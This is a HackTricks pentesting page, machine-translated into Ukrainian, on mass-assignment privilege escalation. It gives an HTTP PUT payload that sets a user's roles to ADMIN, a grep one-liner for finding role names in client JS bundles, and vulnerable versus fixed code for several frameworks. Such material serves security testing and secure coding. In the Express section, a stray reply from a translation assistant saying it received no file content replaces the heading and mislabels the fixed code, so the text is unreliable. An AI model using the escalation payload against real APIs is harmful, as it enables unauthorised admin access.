Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Mass assignment (a.k.a. insecure object binding) відбувається, коли API/контролер приймає JSON, наданий користувачем, і безпосередньо прив’язує його до серверної моделі/сутності без явного allow-list полів. Якщо привілейовані властивості, такі як roles, isAdmin, status або поля власності, доступні для прив’язування, будь-який автентифікований користувач може підвищити привілеї або змінити захищений стан.

This is a Broken Access Control issue (OWASP A01:2021), що часто дозволяє вертикальне підвищення привілеїв шляхом встановлення roles=ADMIN або подібного. Зазвичай впливає на фреймворки, які підтримують автоматичне прив’язування тіл запитів до моделей даних (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, etc.).

1) Finding Mass Assignment

Шукайте кінцеві точки самообслуговування, які оновлюють ваш профіль або подібні ресурси:

  • PUT/PATCH /api/users/{id}
  • PATCH /me, PUT /profile
  • PUT /api/orders/{id}

Евристики, що вказують на mass assignment:

  • Відповідь віддзеркалює поля, якими керує сервер (e.g., roles, status, isAdmin, permissions), навіть якщо ви їх не надсилали.
  • Клієнтські бандли містять імена/ID ролей або інші назви привілейованих атрибутів, що використовуються по всьому додатку (admin, staff, moderator, internal flags), що натякає на bindable schema.
  • Backend serializers приймають невідомі поля, не відхиляючи їх.

Швидкий тест:

  1. Виконайте звичайне оновлення лише з безпечними полями та спостерігайте повну JSON відповідь (this leaks the schema).
  2. Повторіть оновлення, включивши сконструйоване привілейоване поле в тілі. Якщо відповідь зберігає зміну, ймовірно, у вас є mass assignment.

Example baseline update revealing schema:

PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}

Відповідь натякає на привілейовані поля:

HTTP/1.1 200 OK
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}

2) Exploitation – Role Escalation via Mass Assignment

Коли ви знаєте bindable shape, включіть privileged property в той самий запит.

Приклад: встановіть roles у ADMIN у власному user resource:

PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}

If the response persists the role change, re-authenticate or refresh tokens/claims so the app issues an admin-context session and shows privileged UI/endpoints.

Notes

  • Role identifiers and shapes are frequently enumerated from the client JS bundle or API docs. Search for strings like “roles”, “ADMIN”, “STAFF”, or numeric role IDs.
  • If tokens contain claims (e.g., JWT roles), a logout/login or token refresh is usually required to realize the new privileges.

3) Client Bundle Recon for Schema and Role IDs

  • Inspect minified JS bundles for role strings and model names; source maps may reveal DTO shapes.
  • Look for arrays/maps of roles, permissions, or feature flags. Build payloads matching the exact property names and nesting.
  • Typical indicators: role name constants, dropdown option lists, validation schemas.

Handy greps against a downloaded bundle:

strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

4) Проблеми фреймворків та безпечні патерни

Ця вразливість виникає, коли фреймворки прив’язують req.body безпосередньо до збережених сутностей. Нижче наведені поширені помилки та мінімальні безпечні підходи.

Node.js (Express + Mongoose)

Вразливий:

// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});

Я не отримав вміст файлу. Будь ласка, вставте markdown-зміст файлу src/pentesting-web/mass-assignment-cwe-915.md або уточніть, що саме потрібно виправити/перекласти. Після отримання вмісту я перекладу релевантний англійський текст українською, зберігаючи всі теги, посилання, шляхи та код згідно з вказаними правилами.

// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.

Ruby on Rails

Уразливий (без strong parameters):

def update
@user.update(params[:user]) # roles/is_admin can be set by client
end

Виправлення (strong params + без привілейованих полів):

def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end

Laravel (Eloquent)

Вразливий:

protected $guarded = []; // Everything mass-assignable (bad)

Виправлення:

protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin

Spring Boot (Jackson)

Уразливий патерн:

// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }

Виправити: Відобразити в DTO лише дозволені поля та забезпечити перевірку авторизації:

record UserUpdateDTO(String firstName, String lastName, String nickName) {}

Потім копіюйте дозволені поля з DTO у сутність на сервері та обробляйте зміни ролей лише в обробниках, доступних тільки адміністраторам, після перевірок RBAC. Використовуйте @JsonIgnore для привілейованих полів за потреби та відхиляйте невідомі властивості.

Go (encoding/json)

  • Переконайтеся, що привілейовані поля використовують json:“-” і валідовуйте через DTO struct, який містить лише дозволені поля.
  • Розгляньте decoder.DisallowUnknownFields() та post-bind валідацію інваріантів (ролі не можуть змінюватися в маршрутах самообслуговування).

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks